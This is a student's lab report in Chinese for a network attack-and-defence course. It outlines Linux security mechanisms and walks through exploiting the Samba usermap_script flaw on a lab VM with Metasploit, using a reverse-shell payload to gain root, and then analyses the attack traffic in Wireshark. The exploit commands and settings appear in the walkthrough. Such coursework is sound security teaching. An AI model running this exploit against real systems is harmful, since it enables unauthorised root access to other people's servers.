其他分享
首页 > 其他分享> > 20212818 2021-2022-2 《网络攻防实践》实践七报告

20212818 2021-2022-2 《网络攻防实践》实践七报告

作者:互联网

一、实践内容

1、Linux系统结构

(1)Linux操作系统:一套基于Linux内核的完整操作系统为Linux操作系统。

(2)Linux操作系统的结构包括Linux内核,一些GNU运行库和工具,命令行Shell,图形界面X窗口系统及相应桌面环境,并包含数千种从办公包、编译器、文本编辑器、科学工具到网络服务的应用软件。

(3)Linux进程与线程管理机制

  Linux内核采用抢占式多用户多进程模式,多个进程并发活动,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块结构,由内核schedule进程调度函数来依据进程优先级和CPU等资源情况来执行。

(4)Linux的内存管理机制

 

(5)Linux的文件系统系统管理机制

(6)Linux的设备控制机制

(7)Linux的网络机制

  Linux内核中的网络模块提供了对各种网络标准的存取和各种网络硬件的支持,网络接口分为网络协议栈和网络驱动程序。

(8)Linux系统调用机制

  Linux的系统调用接口允许应用程序透过这层接口来访问硬件设备和其它系统资源,有助于保证系统的稳定可靠和安全,并为用户提供统一的抽象接口,有助于应用程序的跨平台移植

3、Linux系统远程攻防技术

(1)Linux远程口令字猜测攻击

(2)Linux网络服务远程渗透攻击

4、Linux系统本地安全攻防技术

(1)Linux系统上的消踪灭迹

(2)Linux系统远程控制后门程序

5、Linux操作系统安全机制

(1)Linux身份认证机制

  Linux是一个多用户多任务的操作系统,通过创建多种角色类型的用户和用户组来进行用户身份管理

(2)Linux安全审计机制

  主要通过三个主要的日志子系统实现

(3)Linux授权与访问控制机制

  虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来进行系统授权和访问控制

二、实践过程

任务一:使用Metasploit进行Linux远程渗透攻击

  使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

  ①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;

  ②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;

  ③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);

  ④设置渗透攻击参数(RHOST,LHOST,TARGET等);

  ⑤执行渗透攻击;

  ⑥查看是否正确得到远程Shell,并查看获得的权限。

  在kali中输入msfconsole进入Metasploit

  输入指令search usermap来搜索渗透模块,结果如下图

 

  输入use exploit/multi/samba/usermap_script使用渗透模块,输入指令show payloads来获取攻击负载模块列表,并选择攻击负载模块,reverse tcp是指反向TCP连接,反向TCP:在正常转发连接中,客户端是通过服务器的开放端口连接到服务器的,但在反向连接的情况下,客户端会主动打开服务器上的端口。反向连接最常见的用途就是绕过防火墙和路由器的安全限制。在计算机科学与电信领域,负载(英语:Payload)是数据传输中所欲传输的实际信息,通常也被称作实际数据或者数据体,通俗一点讲,在程序的世界里,payload(有效载荷)就是对于接收者有用的数据

 

  输入指令set PAYLOAD cmd/unix/reverse来设置有效的攻击载荷

 

  输入ifconfig查看kali的IP地址为192.168.1.115,选择Metasploitable-ubuntu为靶机,并输入ipconfig查看其IP地址为192.168.1.113。

 

 

 

 

 

 

   输入指令set lhost 192.168.1.115设置攻击机地址,set rhost 192.168.1.113设置靶机地址。

  输入指令show options看信息设置是否正确

   输入run进行攻击

 

 

   输入ifconfig查看靶机IP,与真实IP一致,验证了本次渗透攻击已经成功。

 

 

   执行whoami查看获得权限为root。

 

 

 

任务二:实践作业:攻防对抗实践

 

  实践二与实践一步骤相似,也是先进入Metasploit

 

 

 

 

 

   选择攻击负载模块、设置攻击机/靶机地址,并进行攻击。其中kali的IP地址是192.168.1.115,同学的靶机IP地址为192.168.1.102。

  在run之前启动wireshark抓包,然后启动攻击,可以看到首先攻击机向靶机发送一个SMB的Negotiate Protocol Request(协商协议请求)数据报,服务器响应一个SMB的Negotiate Protocol Response(协商协议响应)数据报

 

 

  然后攻击机向靶机发起一个Session setup X request(会话设置请求)数据。

 

 

   靶机确认身份后发送一个Session Setup X Response(会话设置响应)数据报同意本次连接。

 

 

   查看攻击发起时间,时间是2020年4月2日晚上10点59分58秒。

 

 

 

由下图可知源端口41185、目的端口4444、源地址192.168.1.102、目的地址192.168.1.115,

  通过命令shell查看shell权限账户。

 

   通过id查看其所在的权限组,通过命令whomai查看当前权限账户,可以看到权限为root。

 

   回到wireshark,找到TCP协议密集的地方,追踪TCP流可以看见之前我们输入的命令

  还可以看到shellcode,将里面的数据输入base64却依旧不可得明码。

三、学习中遇到的问题及解决

问题:在任务一中用kali攻击靶机时,提示靶机没有相应,因此无法攻击成功。

解决:将虚拟机kali和靶机模式都改为桥接模式之后,发现kali和靶机不在同一网段,因此攻击不成功。直接ping www.baidu.com发现也无法ping通,使用命令sudo dhclient eth0更新IP地址后,kali和靶机终于在同一网段,然后可以正常攻击。

四、实践总结

  本来同学都说这次的作业很简单所以自己也放松了警惕,以为会很快完成。但是没想到自己做的时候出现的问题很奇怪,同样的攻击(自己的kali攻击自己的靶机)在实践六都可以成功,但是在实践七时却攻击不了,这实在是让我太迷惑了,所幸后面改成桥接模式之后再进行各种操作kali攻击靶机成功。这让我意识到,做事情不能心浮气躁,啥事儿都可能发生,要沉住气,耐心地一步一步完成任务。

  这次实验使我对虚拟机的攻击操作更加熟练,更是提高了我解决问题的能力,对网络攻防的相关知识掌握得也更多,相信我在后续的实验中会越做越好。

标签:攻击,实践,用户,20212818,2021,Linux,靶机,远程,内核
来源: https://www.cnblogs.com/fairry/p/16213807.html